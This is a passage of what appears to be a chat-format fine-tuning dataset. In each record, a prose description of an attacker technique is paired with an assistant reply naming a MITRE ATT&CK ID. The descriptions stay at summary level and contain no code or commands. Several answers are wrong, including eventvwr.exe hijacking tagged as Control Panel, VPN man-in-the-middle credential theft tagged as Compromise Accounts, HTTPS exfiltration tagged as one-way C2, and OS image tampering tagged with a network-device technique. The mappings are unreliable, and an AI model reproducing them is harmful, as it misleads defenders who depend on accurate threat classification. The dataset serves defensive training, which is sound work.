            },
            {
                "role": "user",
                "content": "The intruder executes a PowerShell command that checks the 'Get-NetIPConfiguration' output to identify active network interfaces and their internet status."
            },
            {
                "role": "assistant",
                "content": "T1016.001 - System Network Configuration Discovery: Internet Connection Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A threat actor drops a malicious INF file on the target system and runs cmstp.exe with the /s switch to silently install and execute a malicious DLL."
            },
            {
                "role": "assistant",
                "content": "T1218.003 - System Binary Proxy Execution: CMSTP"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious payloads are sent over DNS queries, making the traffic appear as routine DNS resolution."
            },
            {
                "role": "assistant",
                "content": "T1001.003 - Data Obfuscation: Protocol Impersonation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A ransomware family uses a custom DGA to rotate its C2 endpoints across numerous top‑level domains."
            },
            {
                "role": "assistant",
                "content": "T1568.002 - Dynamic Resolution: Domain Generation Algorithms"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious actors exploit publicly exposed CDN analytics endpoints to gather insights about the victim's traffic patterns and infrastructure."
            },
            {
                "role": "assistant",
                "content": "T1596.004 - Search Open Technical Databases: CDNs"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using deepfake audio, the threat group conducts a spear‑phishing voice attack to authorize fraudulent transactions."
            },
            {
                "role": "assistant",
                "content": "T1566.004 - Phishing: Spearphishing Voice"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary uses PowerShell's Add-Type to call user32.dll's GetDesktopWindow and PrintWindow methods, capturing screenshots of the victim's desktop."
            },
            {
                "role": "assistant",
                "content": "T1113 - Screen Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion tool gathers information about displayed windows to infer which software is active."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A phishing campaign delivers a tool that reads IRC channel messages, harvesting any credential information posted."
            },
            {
                "role": "assistant",
                "content": "T1552.008 - Unsecured Credentials: Chat Messages"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary performs a direct network flood by generating a torrent of HTTP GET requests to overload the victim’s load balancer."
            },
            {
                "role": "assistant",
                "content": "T1498.001 - Network Denial of Service: Direct Network Flood"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker uses a social engineering call to persuade the target to approve an MFA request that the attacker initiated."
            },
            {
                "role": "assistant",
                "content": "T1621 - Multi-Factor Authentication Request Generation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries set up a malicious website that hosts a trojanized version of a popular media player, which victims download and execute, granting the attackers additional malware capabilities."
            },
            {
                "role": "assistant",
                "content": "T1588.001 - Obtain Capabilities: Malware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attacker uses a custom utility to delete command history files across multiple compromised Linux servers."
            },
            {
                "role": "assistant",
                "content": "T1070.003 - Indicator Removal: Clear Command History"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware replaces the system's internal firmware image with a backdoored version to gain low-level access."
            },
            {
                "role": "assistant",
                "content": "T1525 - Implant Internal Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A spyware component sends encrypted data via Outlook email messages to a designated attacker mailbox, also receiving commands in reply."
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using mshta.exe, the adversary runs a local HTA file that reads an encoded command from the registry and executes it."
            },
            {
                "role": "assistant",
                "content": "T1218.005 - System Binary Proxy Execution: Mshta"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A compromised Office template is placed on a shared network drive; when any employee opens a new document based on it, the macro runs and installs a backdoor."
            },
            {
                "role": "assistant",
                "content": "T1137.001 - Office Application Startup: Office Template Macros"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversaries used a compromised service account to register a rogue transport agent in the mail server's processing pipeline."
            },
            {
                "role": "assistant",
                "content": "T1505.002 - Server Software Component: Transport Agent"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious code accesses the clipboard contents each time the user copies data."
            },
            {
                "role": "assistant",
                "content": "T1115 - Clipboard Data"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary used a compromised host to download additional malicious binaries from a remote C2 server via PowerShell's Invoke-WebRequest, effectively transferring tools to the victim system."
            },
            {
                "role": "assistant",
                "content": "T1105 - Ingress Tool Transfer"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromised server hosted a web service under the domain \"login.microsoftonline.com\" to trick users into entering their Azure credentials."
            },
            {
                "role": "assistant",
                "content": "T1036.005 - Masquerading: Match Legitimate Name or Location"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team operators run Nmap scans against the organization’s cloud‑hosted assets to locate open ports."
            },
            {
                "role": "assistant",
                "content": "T1595 - Active Scanning"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker exploits the DCSync capability of a compromised domain admin to stealthily collect credential data from the domain controller."
            },
            {
                "role": "assistant",
                "content": "T1003.006 - OS Credential Dumping: DCSync"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a man-in-the-middle tool, the attacker passively records TLS handshake metadata to infer certificate details and possible vulnerabilities."
            },
            {
                "role": "assistant",
                "content": "T1040 - Network Sniffing"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker captures credentials by performing a man‑in‑the‑middle attack on a corporate VPN login page."
            },
            {
                "role": "assistant",
                "content": "T1586 - Compromise Accounts"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "During a phishing attack, the attacker overwrites the MOTW metadata on an attachment to make it appear as if it originated from a trusted zone."
            },
            {
                "role": "assistant",
                "content": "T1553.005 - Subvert Trust Controls: Mark-of-the-Web Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary modifies a token's integrity level to increase its privileges on the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1134 - Access Token Manipulation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors use a custom tool to dump database dumps and paste the raw data into a publicly accessible Hastebin instance."
            },
            {
                "role": "assistant",
                "content": "T1567.003 - Exfiltration Over Web Service: Exfiltration to Text Storage Sites"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor modifies the behavior of the macOS Keychain API (SecKeychainFindGenericPassword) via dynamic library injection to retrieve stored passwords."
            },
            {
                "role": "assistant",
                "content": "T1056.004 - Input Capture: Credential API Hooking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script creates a new user with a GUID‑based name that does not match typical naming conventions, evading detection by user‑account inventory tools."
            },
            {
                "role": "assistant",
                "content": "T1564.002 - Hide Artifacts: Hidden Users"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A persistent backdoor creates an RDP listener on the victim and waits for inbound connections to execute remote commands."
            },
            {
                "role": "assistant",
                "content": "T1021.001 - Remote Services: Remote Desktop Protocol"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware employs a loop that extracts newly created images from the Pictures directory and uploads them periodically."
            },
            {
                "role": "assistant",
                "content": "T1119 - Automated Collection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A credential dumping tool reads the Chrome \"Login Data\" SQLite database to obtain saved website passwords."
            },
            {
                "role": "assistant",
                "content": "T1555.003 - Credentials from Password Stores: Credentials from Web Browsers"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious code initiates a rapid loop of process creation on a Windows machine, exhausting CPU and memory resources and causing a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499 - Endpoint Denial of Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A post‑exploitation script gathers titles of all open windows to determine whether a privileged application is currently in use."
            },
            {
                "role": "assistant",
                "content": "T1010 - Application Window Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The backdoor sends repeated DNS NXDOMAIN requests to measure response times and infer active hosts."
            },
            {
                "role": "assistant",
                "content": "T1590.002 - Gather Victim Network Information: DNS"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Red team modified the permissions of a Windows service’s executable path, adding write access for a low‑privilege account and then swapped the file with a malicious version."
            },
            {
                "role": "assistant",
                "content": "T1574.010 - Hijack Execution Flow: Services File Permissions Weakness"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker invokes the built‑in Control Panel executable eventvwr.exe with crafted parameters to run arbitrary code via DLL hijacking."
            },
            {
                "role": "assistant",
                "content": "T1218.002 - System Binary Proxy Execution: Control Panel"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor runs automated searches on public code repositories like GitHub and GitLab to locate configuration files that may contain hard‑coded credentials."
            },
            {
                "role": "assistant",
                "content": "T1596.005 - Search Open Technical Databases: Scan Databases"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An advanced persistent threat used InstallUtil to trigger execution of a signed but malicious .NET executable."
            },
            {
                "role": "assistant",
                "content": "T1218.004 - System Binary Proxy Execution: InstallUtil"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware registers a custom COM server that is automatically loaded by a privileged service during its initialization."
            },
            {
                "role": "assistant",
                "content": "T1546.015 - Event Triggered Execution: Component Object Model Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malicious script calls the Win32 API function VirtualAllocEx to allocate memory in a remote process."
            },
            {
                "role": "assistant",
                "content": "T1106 - Native API"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor queries the macOS Keychain to retrieve stored email account passwords for credential dumping."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker corrupts the TPM firmware, effectively disabling hardware‑based key storage and encryption."
            },
            {
                "role": "assistant",
                "content": "T1600.002 - Weaken Encryption: Disable Crypto Hardware"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker embeds a malicious macro in a Word document and tricks the victim into opening the document and enabling macros, leading to execution of the payload."
            },
            {
                "role": "assistant",
                "content": "T1204.002 - User Execution: Malicious File"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor leverages reflective loading to load additional modules into memory without creating any on-disk artifacts."
            },
            {
                "role": "assistant",
                "content": "T1620 - Reflective Code Loading"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An attacker posts a malicious URL in a public Slack channel, and any user who clicks it triggers the execution of a credential‑stealing payload."
            },
            {
                "role": "assistant",
                "content": "T1204.001 - User Execution: Malicious Link"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The actor attaches to a process via ptrace, modifies its registers, and redirects execution to custom injected shellcode."
            },
            {
                "role": "assistant",
                "content": "T1055.008 - Process Injection: Ptrace System Calls"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware performs process hollowing by creating a suspended instance of notepad.exe, replacing its code sections with malicious payload, and then resuming the process."
            },
            {
                "role": "assistant",
                "content": "T1055 - Process Injection"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware compressed the credential dump and transferred it to the adversary's Google Drive folder via the Drive API."
            },
            {
                "role": "assistant",
                "content": "T1567.002 - Exfiltration Over Web Service: Exfiltration to Cloud Storage"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker runs a Visual Basic script that writes malicious code into the Windows Registry Run key for persistence."
            },
            {
                "role": "assistant",
                "content": "T1059.005 - Command and Scripting Interpreter: Visual Basic"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Adversary modifies the Task Scheduler XML to run a encoded command every 30 minutes."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "After gaining access, the threat actor sets up a multi-hop SOCKS5 proxy network, chaining compromised hosts to relay malicious commands to the payload."
            },
            {
                "role": "assistant",
                "content": "T1090.003 - Proxy: Multi-hop Proxy"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A hacker gains unauthorized access to a cloud storage bucket and places exfiltration scripts inside."
            },
            {
                "role": "assistant",
                "content": "T1584 - Compromise Infrastructure"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exfiltrate stolen files by uploading them via HTTPS POST to a malicious web service that does not send any data back to the compromised host."
            },
            {
                "role": "assistant",
                "content": "T1102.003 - Web Service: One-Way Communication"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Using a compromised Chrome extension, the adversary records voice commands from the user and sends the recordings to a remote server via HTTPS."
            },
            {
                "role": "assistant",
                "content": "T1123 - Audio Capture"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Leveraging open-source intelligence tools for targeted data exfiltration"
            },
            {
                "role": "assistant",
                "content": "T1567 - Exfiltration Over Web Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malicious actor modifies the OS installation image to include a trojan that activates during the system's first login."
            },
            {
                "role": "assistant",
                "content": "T1601.001 - Modify System Image: Patch System Image"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A malicious Instagram DM was sent to employees, containing a link to a fake Office 365 login page that harvests credentials."
            },
            {
                "role": "assistant",
                "content": "T1566.003 - Phishing: Spearphishing via Service"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intruder configures a WMI Event Subscription that fires a VBScript whenever a USB device is inserted."
            },
            {
                "role": "assistant",
                "content": "T1546.003 - Event Triggered Execution: Windows Management Instrumentation Event Subscription"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The compromise involved using the \"history\" command to extract previous command usage for credential harvesting."
            },
            {
                "role": "assistant",
                "content": "T1059.004 - Command and Scripting Interpreter: Unix Shell"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The malware sets the Outlook HomePage via the COM interface, directing it to a crafted HTML page that exploits a known vulnerability in Outlook's rendering engine."
            },
            {
                "role": "assistant",
                "content": "T1137.004 - Office Application Startup: Outlook Home Page"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The adversary registers a Windows Scheduled Task that runs a malicious PowerShell script every time the system boots."
            },
            {
                "role": "assistant",
                "content": "T1053.005 - Scheduled Task/Job: Scheduled Task"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "By infiltrating a trusted software vendor, the intruder stole an existing code signing certificate to sign their malware."
            },
            {
                "role": "assistant",
                "content": "T1588.003 - Obtain Capabilities: Code Signing Certificates"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Exploiting a flawed driver, the adversary forces the victim's OS to crash repeatedly, resulting in a denial of service."
            },
            {
                "role": "assistant",
                "content": "T1499.004 - Endpoint Denial of Service: Application or System Exploitation"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Attackers target the supply chain of network switches, installing rogue code in the bootloader that later exploits connected systems."
            },
            {
                "role": "assistant",
                "content": "T1195.003 - Supply Chain Compromise: Compromise Hardware Supply Chain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Threat actors exploit the DYLD_LIBRARY_PATH environment variable on macOS to load a rogue .dylib when a privileged binary starts."
            },
            {
                "role": "assistant",
                "content": "T1574.004 - Hijack Execution Flow: Dylib Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The intrusion used a compromised smart thermostat's MQTT messages to exfiltrate system logs."
            },
            {
                "role": "assistant",
                "content": "T1011 - Exfiltration Over Other Network Medium"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "Malware installs a fake SIP service that intercepts certificate verification requests, granting the attacker the ability to sign malicious drivers with a valid certificate."
            },
            {
                "role": "assistant",
                "content": "T1553.003 - Subvert Trust Controls: SIP and Trust Provider Hijacking"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The threat actor abuses the OS X Keychain Access utility to export certificates and private keys for later use."
            },
            {
                "role": "assistant",
                "content": "T1555.001 - Credentials from Password Stores: Keychain"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary modifies the macOS Gatekeeper settings to allow unsigned applications to run without user approval."
            },
            {
                "role": "assistant",
                "content": "T1553.001 - Subvert Trust Controls: Gatekeeper Bypass"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "An adversary abuses the Microsoft Management Console (MMC) to run a hidden malicious snap‑in that downloads additional payloads."
            },
            {
                "role": "assistant",
                "content": "T1218.014 - System Binary Proxy Execution: MMC"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "In a red team test, the team uses the built‑in tool gpedit.msc to view the effective group policies applied to the user."
            },
            {
                "role": "assistant",
                "content": "T1615 - Group Policy Discovery"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "A backdoor wrote gathered files to a network drive on a remote host, preparing them for extraction later."
            },
            {
                "role": "assistant",
                "content": "T1074.002 - Data Staged: Remote Data Staging"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The payload disables the OutputDebugString API to prevent debuggers from receiving debug strings."
            },
            {
                "role": "assistant",
                "content": "T1622 - Debugger Evasion"
            }
        ]
    },
    {
        "messages": [
            {
                "role": "system",
                "content": "Given a description of an attack technique, tactic, or procedure, return only an accurate MITRE ATT&CK ID and Name in the format: \"ID# - Technique\". "
            },
            {
                "role": "user",
                "content": "The attacker harvests credentials by analyzing .bash_history files for 'ssh' and 'passwd' commands."
            },
            {
                "role": "assistant",
                "content": "T1552.003 - Unsecured Credentials: Bash History"
            }
        ]
    },
    {
